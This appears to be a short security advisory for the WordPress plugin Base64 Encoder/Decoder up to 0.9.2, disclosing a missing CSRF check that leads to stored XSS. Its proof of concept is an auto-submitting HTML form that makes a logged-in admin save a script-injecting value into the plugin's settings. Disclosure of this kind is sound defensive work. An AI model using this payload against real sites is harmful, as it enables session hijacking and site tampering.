Base64 Encoder/Decoder <= 0.9.2 - Stored XSS via CSRF

2024-04-2400:00:00

Bob Matyas

base64

encoder

decoder

stored xss

csrf

poc

may 08 2024

update

exploit

5.9 Medium

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

9.1%

JSON

Description The plugin does not have CSRF check when updating its settings, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored XSS payloads via a CSRF attack

Make a logged in admin open an HTML file containing the following:

```
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/options-general.php?page=base64-encoderdecoder%2fbase64-encoderdecoder.php" method="post">
        <input type="text" name="b64_button_text" value="csrf">
        <input type="text" name="b64_wordwrap" value='"><script>alert(999)</script>'>
        <input type="text" name="b64_format" value="bq">
        <input name="update" value="1">
        <input type="submit" name="enter" value="submit">
</body>
```